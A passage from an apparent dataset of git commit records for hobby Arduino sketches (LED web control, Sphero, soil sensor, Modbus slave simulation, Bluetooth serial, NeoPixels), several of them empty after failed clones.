input, \n \/\/ that's all it can be.\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'AP-Web-Server.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1ae21f803fd50fb984c5f2ac46e8730ece6bba56","subject":"IP\u30a2\u30c9\u30ec\u30b9\u3092\u56fa\u5b9a\u3059\u308b\u30b5\u30f3\u30d7\u30eb(\u30c8\u30e9\u62802016.9 P79 \u30b3\u30e9\u30e0)","message":"IP\u30a2\u30c9\u30ec\u30b9\u3092\u56fa\u5b9a\u3059\u308b\u30b5\u30f3\u30d7\u30eb(\u30c8\u30e9\u62802016.9 P79 \u30b3\u30e9\u30e0)\n","repos":"bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp","old_file":"2_example\/example01s_led\/example01s_led.ino","new_file":"2_example\/example01s_led\/example01s_led.ino","new_contents":"\/*******************************************************************************\r\nExample 1S: LED\u3092\u70b9\u6ec5\u3055\u305b\u308b HTTP\u7248 \u56fa\u5b9aIP\u30a2\u30c9\u30ec\u30b9\r\n\r\n Copyright (c) 2016-2017 Wataru KUNINO\r\n*******************************************************************************\/\r\n\r\n#include <ESP8266WiFi.h> \/\/ Wi-Fi\u6a5f\u80fd\u3092\u5229\u7528\u3059\u308b\u305f\u3081\u306b\u5fc5\u8981\r\n#define PIN_LED 13 \/\/ IO 13(5\u756a\u30d4\u30f3)\u306bLED\u3092\u63a5\u7d9a\u3059\u308b\r\n#define SSID \"1234ABCD\" \/\/ \u7121\u7ddaLAN\u30a2\u30af\u30bb\u30b9\u30dd\u30a4\u30f3\u30c8\u306eSSID\r\n#define PASS \"password\" \/\/ \u30d1\u30b9\u30ef\u30fc\u30c9\r\n#define TIMEOUT 20000 \/\/ \u30bf\u30a4\u30e0\u30a2\u30a6\u30c8 20\u79d2\r\nWiFiServer server(80); \/\/ Wi-Fi\u30b5\u30fc\u30d0(\u30dd\u30fc\u30c880=HTTP)\u5b9a\u7fa9\r\n\r\nvoid setup(){ \/\/ \u8d77\u52d5\u6642\u306b\u4e00\u5ea6\u3060\u3051\u5b9f\u884c\u3059\u308b\u95a2\u6570\r\n pinMode(PIN_LED,OUTPUT); \/\/ LED\u3092\u63a5\u7d9a\u3057\u305f\u30dd\u30fc\u30c8\u3092\u51fa\u529b\u306b\r\n Serial.begin(9600); \/\/ \u52d5\u4f5c\u78ba\u8a8d\u306e\u305f\u3081\u306e\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u958b\u59cb\r\n Serial.println(\"Example 01S LED STAT\"); \/\/ \u300cExample 01S\u300d\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n WiFi.mode(WIFI_STA); \/\/ \u7121\u7ddaLAN\u3092STA\u30e2\u30fc\u30c9\u306b\u8a2d\u5b9a\r\n WiFi.config(\r\n \tIPAddress(192,168,0,12),\t\t\t\/* \u56fa\u5b9aIP\u30a2\u30c9\u30ec\u30b9 *\/\r\n \tIPAddress(192,168,0,1), \t\t\/* \u30b2\u30fc\u30c8\u30a6\u30a7\u30a4\u30a2\u30c9\u30ec\u30b9 *\/\r\n \tIPAddress(255,255,255,0) \t\t\/* \u30cd\u30c3\u30c8\u30de\u30b9\u30af *\/\r\n );\r\n WiFi.begin(SSID,PASS); \/\/ \u7121\u7ddaLAN\u30a2\u30af\u30bb\u30b9\u30dd\u30a4\u30f3\u30c8\u3078\u63a5\u7d9a\r\n while(WiFi.status() != WL_CONNECTED){ \/\/ \u63a5\u7d9a\u306b\u6210\u529f\u3059\u308b\u307e\u3067\u5f85\u3064\r\n Serial.print('.'); \/\/ \u9032\u6357\u8868\u793a\r\n digitalWrite(PIN_LED,!digitalRead(PIN_LED)); \/\/ LED\u306e\u70b9\u6ec5\r\n delay(500); \/\/ \u5f85\u3061\u6642\u9593\u51e6\u7406\r\n }\r\n server.begin(); \/\/ \u30b5\u30fc\u30d0\u3092\u8d77\u52d5\u3059\u308b\r\n Serial.println(\"\\nStarted\"); \/\/ \u8d77\u52d5\u3057\u305f\u3053\u3068\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n Serial.println(WiFi.localIP()); \/\/ \u672c\u6a5f\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\r\n Serial.println(WiFi.gatewayIP()); \/\/ \u30b2\u30fc\u30c8\u30a6\u30a7\u30a4\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u51fa\u529b\r\n Serial.println(WiFi.subnetMask()); \/\/ \u30cd\u30c3\u30c8\u30de\u30b9\u30af\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u51fa\u529b\r\n}\r\n\r\nvoid loop(){ \/\/ \u7e70\u308a\u8fd4\u3057\u5b9f\u884c\u3059\u308b\u95a2\u6570\r\n WiFiClient client; \/\/ Wi-Fi\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306e\u5b9a\u7fa9\r\n char c; \/\/ \u6587\u5b57\u5909\u6570\u3092\u5b9a\u7fa9\r\n char s[65]; \/\/ \u6587\u5b57\u5217\u5909\u6570\u3092\u5b9a\u7fa9 65\u30d0\u30a4\u30c864\u6587\u5b57\r\n int len=0; \/\/ \u6587\u5b57\u5217\u306e\u9577\u3055\u30ab\u30a6\u30f3\u30c8\u7528\u306e\u5909\u6570\r\n int led=-1; \/\/ LED\u306e\u8a2d\u5b9a(-1\u306f\u672a\u8a2d\u5b9a)\r\n int i=0; \/\/ \u5f85\u3061\u53d7\u3051\u6642\u9593\u306e\u30ab\u30a6\u30f3\u30c8\u7528\u306e\u5909\u6570\r\n int headF=0; \/\/ HTTP\u30d8\u30c3\u30c0\u7528\u30d5\u30e9\u30b0(0:\u521d\u671f\u72b6\u614b)\r\n \r\n client = server.available(); \/\/ \u63a5\u7d9a\u3055\u308c\u305f\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u3092\u751f\u6210\r\n if(client==0) return; \/\/ \u975e\u63a5\u7d9a\u306e\u6642\u306bloop()\u306e\u5148\u982d\u306b\u623b\u308b\r\n Serial.println(\"Connected\"); \/\/ \u63a5\u7d9a\u3055\u308c\u305f\u3053\u3068\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n while(client.connected()){ \/\/ \u5f53\u8a72\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306e\u63a5\u7d9a\u72b6\u614b\u3092\u78ba\u8a8d\r\n if(client.available()){ \/\/ \u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u304b\u3089\u306e\u30c7\u30fc\u30bf\u3092\u78ba\u8a8d\r\n i=0; \/\/ \u5f85\u3061\u6642\u9593\u5909\u6570\u3092\u30ea\u30bb\u30c3\u30c8\r\n c=client.read(); \/\/ \u30c7\u30fc\u30bf\u3092\u6587\u5b57\u5909\u6570c\u306b\u4ee3\u5165\r\n switch(c){ \/\/ \u6587\u5b57c\u306b\u5fdc\u3058\u3066\r\n case '\\0': \/\/ \u6587\u5b57\u5909\u6570c\u306e\u5185\u5bb9\u304c\u7a7a\u306e\u3068\u304d\r\n case '\\r': \/\/ \u6587\u5b57\u5909\u6570c\u306e\u5185\u5bb9\u304cCR\u306e\u3068\u304d\r\n break; \/\/ \u4f55\u3082\u3057\u306a\u3044\r\n case '\\n': \/\/ \u6587\u5b57\u5909\u6570c\u306e\u5185\u5bb9\u304cLF\u306e\u3068\u304d\r\n if(strncmp(s,\"GET \/L\",6)==0 && len>6){\r\n led=1; \/\/ \u5909\u6570led\u306b1\u3092\u4ee3\u5165\r\n if(s[6]=='0')led=0; \/\/ 7\u756a\u76ee\u306e\u6587\u5b57\u304c0\u306e\u3068\u304d0\u3092\u4ee3\u5165\r\n }else if( len==0 ) headF=1; \/\/ \u30d8\u30c3\u30c0\u306e\u7d42\u4e86\r\n len=0; \/\/ \u6587\u5b57\u5217\u9577\u30920\u306b\r\n break;\r\n default: \/\/ \u305d\u306e\u4ed6\u306e\u5834\u5408\r\n s[len]=c; \/\/ \u6587\u5b57\u5217\u5909\u6570\u306b\u6587\u5b57c\u3092\u8ffd\u52a0\r\n len++; \/\/ \u5909\u6570len\u306b1\u3092\u52a0\u7b97\r\n s[len]='\\0'; \/\/ \u6587\u5b57\u5217\u3092\u7d42\u7aef\r\n if(len>=64) len=63; \/\/ \u6587\u5b57\u5217\u5909\u6570\u306e\u4e0a\u9650\r\n break;\r\n }\r\n }\r\n i++; \/\/ \u5909\u6570i\u306e\u5024\u30921\u3060\u3051\u5897\u52a0\u3055\u305b\u308b\r\n if(headF) break; \/\/ HTTP\u30d8\u30c3\u30c0\u304c\u7d42\u308f\u308c\u3070while\u3092\u629c\u3051\u308b\r\n if(i>TIMEOUT) break; else delay(1); \/\/ TIMEOUT\u306b\u5230\u9054\u3057\u305f\u3089while\u3092\u629c\u3051\u308b\r\n }\r\n if(client.connected()){ \/\/ \u5f53\u8a72\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306e\u63a5\u7d9a\u72b6\u614b\u3092\u78ba\u8a8d\r\n client.println(\"HTTP\/1.1 200 OK\"); \/\/ HTTP OK\u3092\u5fdc\u7b54\r\n if( led==0 || led==1 ){ \/\/ \u5909\u6570led\u304c0\u307e\u305f\u306f1\u306e\u3068\u304d\r\n sprintf(s,\"LED=%d\",led); \/\/ \u6587\u5b57\u5217\u5909\u6570\u306b\u300cLED=\u300d\u3068led\u5024\u3092\u4ee3\u5165\r\n client.print(\"Content-Length: \"); \/\/ HTTP\u30d8\u30c3\u30c0\u60c5\u5831\u3092\u51fa\u529b\r\n client.println(strlen(s)+2); \/\/ \u30b3\u30f3\u30c6\u30f3\u30c4\u9577\u3055\u3092\u51fa\u529b(\u6539\u884c2\u30d0\u30a4\u30c8)\r\n client.println(); \/\/ HTTP\u30d8\u30c3\u30c0\u306e\u7d42\u4e86\u3092\u51fa\u529b\r\n client.println(s); \/\/ HTTP\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u51fa\u529b\r\n Serial.println(s); \/\/ \u30b7\u30ea\u30a2\u30eb\u3078\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u51fa\u529b\r\n digitalWrite(PIN_LED,led); \/\/ LED\u306e\u5236\u5fa1\r\n }else{\r\n IPAddress ip=WiFi.localIP(); \/\/ \u5909\u6570ip\u306b\u672c\u6a5f\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u4ee3\u5165\r\n sprintf(s,\"LED ON = http:\/\/%d.%d.%d.%d\/L1\",ip[0],ip[1],ip[2],ip[3]);\r\n client.print(\"Content-Length: \"); \/\/ HTTP\u30d8\u30c3\u30c0\u60c5\u5831\u3092\u51fa\u529b\r\n client.println(strlen(s)*2+4+6);\/\/ \u30b3\u30f3\u30c6\u30f3\u30c4\u9577\u3055\u3092\u51fa\u529b(\u6539\u884c2\u30d0\u30a4\u30c8)\r\n client.println(); \/\/ HTTP\u30d8\u30c3\u30c0\u306e\u7d42\u4e86\u3092\u51fa\u529b\r\n client.println(s); \/\/ HTTP\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u51fa\u529b\r\n client.println(\"<BR>\"); \/\/ HTML\u306e\u6539\u884c\u3092\u51fa\u529b\r\n Serial.println(s); \/\/ \u30b7\u30ea\u30a2\u30eb\u3078\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u51fa\u529b\r\n sprintf(s,\"LED OFF= http:\/\/%d.%d.%d.%d\/L0\",ip[0],ip[1],ip[2],ip[3]);\r\n client.println(s); \/\/ HTTP\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u51fa\u529b\r\n Serial.println(s); \/\/ \u30b7\u30ea\u30a2\u30eb\u3078\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u51fa\u529b\r\n }\r\n }\r\n client.stop(); \/\/ \u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306e\u5207\u65ad\r\n Serial.println(\"Disconnected\"); \/\/ \u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec '2_example\/example01s_led\/example01s_led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2fd2dfc90c4d81c8758a2d9b82b37db329587e4d","subject":"Commenting","message":"Commenting\n","repos":"mcelligottnick\/digitalPotController,mcelligottnick\/digitalPotController","old_file":"arduino\/digitalPotController\/digitalPotController.ino","new_file":"arduino\/digitalPotController\/digitalPotController.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcelligottnick\/digitalPotController.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"63617508557d8566735dff3f9c2aa55c6e0da82b","subject":"Added SpinMeRightRound example.","message":"Added SpinMeRightRound example.\n\nSigned-off-by: Cruz Monrreal II <663375bc5b4c6ed13a95cc63b2dd9f1e16363f4e@gmail.com>\n","repos":"cmonr\/Arduino-Sphero-Library","old_file":"examples\/SpinMeRightRound\/SpinMeRightRound.ino","new_file":"examples\/SpinMeRightRound\/SpinMeRightRound.ino","new_contents":"\/*\nBluetooth.h\nAuthor: Cruz Monrreal II\n\nhttps:\/\/github.com\/cmonr\/Arduino-Bluetooth-Library\n*\/\n#include <SoftwareSerial.h>\n#include <Sphero.h>\n\nSoftwareSerial bluetooth(2,3);\nSphero sphero(bluetooth);\n\n\nvoid setup() {\n Serial.begin(115200);\n bluetooth.begin(9600);\n \n \/\/ Turn on Back LED\n sphero.setBackLED(0xFF);\n}\n\n\/\/ \u266b\u266b\u266b You Spin Me Right Round \u266b\u266b\u266b\nvoid loop() {\n sphero.rotateHeadingBy(45);\n delay(3);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SpinMeRightRound\/SpinMeRightRound.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"d84102e4168b10abd4b874ae8cbafff97ea8f5bb","subject":"Added simple Arduino sketch to read from soil moisture sensor through analogue port.","message":"Added simple Arduino sketch to read from soil moisture sensor through analogue port.\n","repos":"GoUrbanGrow\/SoilGuru","old_file":"soilMoistureReading.ino","new_file":"soilMoistureReading.ino","new_contents":"int moistureSensorPin = 0;\nint moisture_val;\n\nvoid setup() {\n Serial.begin(9600); \n}\n\nvoid loop() {\n moisture_val = analogRead(moistureSensorPin);\n Serial.println(moisture_val);\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'soilMoistureReading.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"b11d60023494de4939a153ff9de928603758a70f","subject":"Fixed formatting.","message":"Fixed formatting.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"92ae2596db25957ae42fea2a6049c6bf5b994fa4","subject":"Fixed sensor registers for scada simulation","message":"Fixed sensor registers for scada simulation","repos":"unparallel-innovation\/Modbus-Slave,unparallel-innovation\/Modbus-Slave","old_file":"libraries\/Energia%20MSP\/Examples\/ModBus_Serial_Slave\/ModBus_Serial_Slave.ino","new_file":"libraries\/Energia%20MSP\/Examples\/ModBus_Serial_Slave\/ModBus_Serial_Slave.ino","new_contents":"\/*\n Modbus - (Modbus Serial)\n http:\/\/github.com\/andresarmento\/modbus-arduino\n \n Modbus functions supported:\n 0x01 - Read Coils\n 0x02 - Read Input Status (Read Discrete Inputs)\n 0x03 - Read Holding Registers\n 0x04 - Read Input Registers\n 0x05 - Write Single Coil\n 0x06 - Write Single Register\n 0x0F - Write Multiple Coils\n 0x10 - Write Multiple Registers\n *\/\n\n#include <Modbus.h>\n#include <ModbusSerial.h>\n\n#include <avr\/pgmspace.h>\n#include \"q3.h\"\n#include \"cl1.h\"\n#include \"cond1.h\"\n\n#define PRINTREGISTERS\n\n\/\/ ModBus Port information\n#define BAUD 57600\n#define ID 1\n#define TXPIN 6\n\n\/\/ Define the number of registers, inputs and coils to be created\n#define NUM_DISCRETE_INPUT 3\n#define NUM_INPUT_REGISTERS 3\n#define NUM_COILS 3\n#define NUM_HOLDING_REGISTERS 5\n\n#define PRINTINTERVAL 2000 \/\/in miliseconds\n\n\/\/ ModbusLoRa Object\nModbusSerial modbus;\n\nconst int ledPin = RED_LED;\n\nint value = 0;\nint idx = 0;\n\nunsigned long update_time = 0;\nunsigned long inc_time = 0;\nunsigned long last_print = 0;\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n digitalWrite(ledPin, HIGH);\n\n Serial.begin(57600);\n Serial.println(\"Hello! - ModBus Serial Slave\");\n\n \/\/ Config Modbus Serial (port, speed, byte format) \n modbus.config(&Serial1, BAUD, TXPIN);\n\n \/\/ Set the Slave ID (1-247)\n modbus.setSlaveId(ID); \n\n \/\/ Use addIsts() for digital inputs - Discrete Input - Master Read-Only\n for (int i = 0; i < NUM_DISCRETE_INPUT; ++i) {\n modbus.addIsts(i);\n }\n\n \/\/ Use addIreg() for analog Inputs - Input Register - Master Read-Only\n for (int i = 0; i < NUM_INPUT_REGISTERS; ++i) {\n modbus.addIreg(i);\n }\n\n \/\/ Use addCoil() for digital outputs - Coil - Master Read-Write \n for (int i = 0; i < NUM_COILS; ++i) {\n modbus.addCoil(i);\n }\n\n \/\/ Use addHreg() for analog outpus - Holding Register - Master Read-Write\n for (int i = 0; i < NUM_HOLDING_REGISTERS; ++i) {\n modbus.addHreg(i, i);\n }\n\n modbus.addHreg(0x55, 20);\n modbus.addHreg(0x57, 50);\n modbus.addHreg(0x59, 200);\n\n update_time = millis();\n inc_time = update_time;\n\n digitalWrite(ledPin, LOW);\n}\n\nvoid loop() {\n \/\/Call once inside loop() - all magic here\n modbus.task();\n\n if (millis() > inc_time + 500) {\n inc_time = millis();\n\n ++value;\n\n if(value >= 1000)\n value = 0;\n }\n\n if (millis() > update_time + 1000) {\n update_time = millis();\n\n \/\/ Set Digital Input - Discrete Input - Master Read-Only\n modbus.Ists(0, HIGH);\n\n \/\/ Set Analog Input - Input Register - Master Read-Only\n modbus.Ireg(0, 125);\n modbus.Ireg(1, analogRead(A0));\n\n \/\/Attach ledPin to Digital Output - Coil - Master Read-Write \n \/\/modbus.Coil(0, !modbus.Coil(0));\n digitalWrite(ledPin, modbus.Coil(0));\n\n \/\/ Write to Analog Output - Holding Register - Master Read-Write\n modbus.Hreg(0, value);\n modbus.Hreg(4, 99);\n\n float value_q3 = pgm_read_float_near(q3 + idx);\n float value_cl1 = pgm_read_float_near(cl1 + idx);\n float value_cond1 = pgm_read_float_near(cond1 + idx);\n\n modbus.Hreg(0x55,value_q3*10);\n modbus.Hreg(0x57,value_cl1*1000);\n modbus.Hreg(0x59, value_cond1*100);\n\n ++idx;\n if( idx == 1124)\n idx = 0;\n }\n\n#ifdef PRINTREGISTERS\n if ( millis() > last_print + PRINTINTERVAL) {\n last_print = millis();\n\n \/\/ Clear serial monitor - Does not work with Serial Monitor from Arduino IDE\n \/\/ On a terminal emulator run the following comand to get a complete serial monitor (screen port baudrate)\n \/\/ screen \/dev\/tty.usbmodem401373 57600\n Serial.println('\\n');\n Serial.write(27); \/\/ ESC command\n Serial.print(\"[2J\"); \/\/ clear screen command\n Serial.write(27);\n Serial.print(\"[H\"); \/\/ cursor to home command\n\n Serial.print(\" - Serial Slave - millis: \");\n Serial.println(millis());\n Serial.println(\"----------------------------------------------- \");\n\n \/\/ Print all Registers\n Serial.println(\"Digital Inputs - Read-Only\");\n for (int i = 0; i < NUM_DISCRETE_INPUT; ++i) {\n Serial.print(\"Input \");\n Serial.print(i);\n Serial.print(\" : \");\n Serial.println((modbus.Ists(i) != 0) ? \"ON\" : \"OFF\");\n }\n Serial.println();\n Serial.println(\"Analog Inputs - Read-Only\");\n for (int i = 0; i < NUM_INPUT_REGISTERS; ++i) {\n Serial.print(\"I-Reg \");\n Serial.print(i);\n Serial.print(\" : \");\n Serial.println(modbus.Ireg(i));\n }\n Serial.println();\n Serial.println(\"Digital Outputs - Read-Write\");\n for (int i = 0; i < NUM_COILS; ++i) {\n Serial.print(\"Coil \");\n Serial.print(i);\n Serial.print(\" : \");\n Serial.println((modbus.Coil(i) != 0) ? \"ON\" : \"OFF\");\n }\n Serial.println();\n Serial.println(\"Analog Outputs - Read-Write\");\n for (int i = 0; i < NUM_HOLDING_REGISTERS; ++i) {\n Serial.print(\"H-Reg \");\n Serial.print(i);\n Serial.print(\" : \");\n Serial.println(modbus.Hreg(i));\n }\n\n Serial.print(\"H-Reg \");\n Serial.print(0x55);\n Serial.print(\" : \");\n Serial.println(modbus.Hreg(0x55));\n Serial.print(\"H-Reg \");\n Serial.print(0x57);\n Serial.print(\" : \");\n Serial.println(modbus.Hreg(0x57));\n Serial.print(\"H-Reg \");\n Serial.print(0x59);\n Serial.print(\" : \");\n Serial.println(modbus.Hreg(0x59));\n\n Serial.println(\"------------------------ \");\n\n delay(5);\n }\n#endif\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/Energia%20MSP\/Examples\/ModBus_Serial_Slave\/ModBus_Serial_Slave.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"a7748cf78b5e88e1f35891455b773c70c3158689","subject":"_01_kidSerie_sketch_01.HelloBT.ino #kidStronics","message":"_01_kidSerie_sketch_01.HelloBT.ino #kidStronics\n\n_01_kidSerie_sketch_01.HelloBT.ino #kidStronics","repos":"giljr\/kidSeries,giljr\/kidSeries,giljr\/kidSeries","old_file":"_01_kidSerie_sketch_01.HelloBT.ino","new_file":"_01_kidSerie_sketch_01.HelloBT.ino","new_contents":"\/*\n Project name:\n 01 #kidSerie - Arduino & MIT App Instaler 2 & HC-06 \n (Smart Phone App!)\n Flavour I - \n Hex File: _01_kidSerie_sketch_01.HelloBT.ino\n Revision History:\n 20161008:\n - board found on Arduino e Cia Examples\n (connect everything on HC-06 to access smart phone)\n \n Description:\n A Simple bluetooth app communicating smart phone & arduino & MIT App Inventor 2!!!\n \n MCU: Arduino 1.6.12 - @16MHz http:\/\/www.arduino.cc\/\n IC Chip: Bluetooth Datasheet - HC-06 https:\/\/goo.gl\/s9ZcNC\n \n Connections:\n See Official youtube channel vids: https:\/\/youtu.be\/u1xqW6qtFXs\n\n\n Based on: M\u00f3dulo Bluetooth JY-MCU - HC-06 - Configura\u00e7\u00e3o (Arduino e Cia)\n https:\/\/goo.gl\/W13Qnn\n Code by Arduino e Cia \n \n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License v3 as published by\n the Free Software Foundation\n*\/\n#include <SoftwareSerial.h> \n \n \nSoftwareSerial mySerial(10, 11); \/\/ RX, TX \nString command = \"\"; \/\/ Stores response of bluetooth device \n \/\/ which simply allows \\n between each \n \/\/ response. \n \nvoid setup() \n{ \n \/\/ Open serial communications and wait for port to open: \n Serial.begin(9600); \/\/ Default firmware \n \/\/Serial.begin(115200); \/\/ I changed to this baudrate...\n Serial.println(\"Type AT commands!\"); \n \/\/ SoftwareSerial \"com port\" data rate. JY-MCU v1.03 defaults to 9600. \n mySerial.begin(9600);\n \/\/mySerial.begin(115200); \/\/ ...and do not forget to match baudrate\n} \n \nvoid loop() \n{ \n \/\/ Read device output if available. \n if (mySerial.available()) \n { \n while(mySerial.available()) \n { \/\/ While there is more to be read, keep reading. \n command += (char)mySerial.read(); \n } \n Serial.println(command); \n command = \"\"; \/\/ No repeats \n } \n \n \/\/ Read user input if available. \n if (Serial.available())\n { \n delay(10); \/\/ The DELAY! \n mySerial.write(Serial.read()); \n } \n \n} \/\/ END loop() \n","old_contents":"","returncode":1,"stderr":"error: pathspec '_01_kidSerie_sketch_01.HelloBT.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"027b28a173dd919d1e7a0c15cecc18f392f43bb3","subject":"added Arduino Folder","message":"added Arduino Folder\n","repos":"dmelancon\/Prototypes,dmelancon\/Prototypes,dmelancon\/Prototypes","old_file":"BallTracking\/Arduino\/CinderToPixel\/CinderToPixel.ino","new_file":"BallTracking\/Arduino\/CinderToPixel\/CinderToPixel.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n#define PIN 6\n#define PIN2 8\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(60, PIN, NEO_GRB + NEO_KHZ800);\nAdafruit_NeoPixel strip2 = Adafruit_NeoPixel(60, PIN2, NEO_GRB + NEO_KHZ800);\n\nString incomingString;\n\nuint8_t yPix;\nuint8_t xPix;\n\nvoid setup() {\n \/\/ initialize serial\n Serial.begin(9600);\n \n \/\/ serial handshake\n establishContact();\n \n \/\/ set briteness and initialize all pixel strips\n strip.setBrightness(40);\n strip2.setBrightness(40);\n strip.begin();\n strip2.begin();\n strip.show(); \n strip2.show();\n}\n\nvoid loop() {\n while (Serial.available() > 0) {\n \/\/serial recieved in this format \"0.923769,0.519444\"\n \/\/put incomingString into an char array for both x and y\n incomingString = Serial.readStringUntil(',');\n char xVal[incomingString.length()+1];\n incomingString.toCharArray(xVal, sizeof(xVal)); \n incomingString = Serial.readStringUntil('\\n');\n char yVal[incomingString.length()+1];\n incomingString.toCharArray(yVal, sizeof(yVal)); \n \n float x = atof(xVal);\n float y = atof(yVal);\n\n \/\/scale x to pixelStrip length\n xPix = 60 - (int) (x*60);\n \/\/throw out any garbage numbers\n if(xPix<60 && xPix>0){\n Serial.println(xPix);\n ballFollow( strip.Color(255,127,0), xPix);\n }\n }\n}\n\nvoid establishContact() { \/\/serial handshake to insure cinder connects to the arduino\n while (Serial.available() <= 0) {\n Serial.print('*'); \/\/ send a capital A\n delay(300); \n }\n}\n\n\n\/\/this function created some nice light trails as the the ball moved up and down the x axis\n\nvoid ballFollow( uint32_t c, uint8_t pixNum){\n for (int i = 0; i < pixNum; i++){\n strip.setPixelColor(pixNum, c);\n strip.setPixelColor(pixNum+1, c*.9);\n strip.setPixelColor(pixNum+2, c*.83);\n strip.setPixelColor(pixNum-1, c*9);\n strip.setPixelColor(pixNum-2, c*83);\n strip.setPixelColor(i, strip.getPixelColor(i)*.75);\n strip2.setPixelColor(pixNum, c);\n strip2.setPixelColor(pixNum+1, c*.9);\n strip2.setPixelColor(pixNum+2, c*.83);\n strip2.setPixelColor(pixNum-1, c*9);\n strip2.setPixelColor(pixNum-2, c*83);\n strip2.setPixelColor(i, strip.getPixelColor(i)*.75);\n }\n for (int i = strip.numPixels(); i > pixNum; i--){\n strip.setPixelColor(i, strip.getPixelColor(i)*.75);\n strip2.setPixelColor(i, strip.getPixelColor(i)*.75);\n }\n strip.show();\n strip2.show();\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BallTracking\/Arduino\/CinderToPixel\/CinderToPixel.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"32a265296ae96952f94aa2ab42eea713ee173e30","subject":"Update Waveform example.","message":"Update Waveform example.\n\nSigned-off-by: shennongmin <e967a0ec4f3e6f0bade7cfd6965af14b7e97e1bd@gmail.com>\n","repos":"itead\/ITEADLIB_Arduino_Nextion,itead\/ITEADLIB_Arduino_Nextion,FireDeveloper\/ITEADLIB_Arduino_Nextion,itead\/ITEADLIB_Arduino_Nextion,itead\/ITEADLIB_Arduino_Nextion,FireDeveloper\/ITEADLIB_Arduino_Nextion","old_file":"examples\/CompWaveform\/CompWaveform.ino","new_file":"examples\/CompWaveform\/CompWaveform.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FireDeveloper\/ITEADLIB_Arduino_Nextion.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"69e10b4f29b4dbfa78334cb3eb4c1d9df9d335ee","subject":"Added arduino slave program","message":"Added arduino slave program\n","repos":"Hjemat\/hjemat-devices,Hjemat\/hjemat-devices","old_file":"android-slave\/android-slave.ino","new_file":"android-slave\/android-slave.ino","new_contents":"byte data[4];\nbyte id = 0x2;\n\nbyte handshakeMessage[] = { B00000101, 0x0, 0x0, 0x10 };\n\nint ledPin = 13;\n\nvoid setup() {\n Serial.begin(9600, SERIAL_8O1);\n pinMode(ledPin, OUTPUT);\n}\n\nvoid loop() {\n if (Serial.available() == 0)\n return;\n \n Serial.readBytes(data, 4);\n\n if (data[0] != 0){\n if (id == 0x0) {\n if (data[0] == B00000011) {\n Serial.write(handshakeMessage, 4);\n }\n else if (data[0] == B00000101) {\n id = data[1];\n }\n }\n else {\n if (data[0] >> 3 == id){\n byte kom = data[0] & B00000111;\n \n if (kom == B101)\n {\n byte dataType = data[1];\n int value = data[2];\n value = value << 8;\n value = value | data[3];\n\n handleDataChange(dataType, value);\n\n byte header = createHeader(B110);\n byte confirmationMessage[4] = { header, data[1], data[2], data[3]};\n\n Serial.write(confirmationMessage, 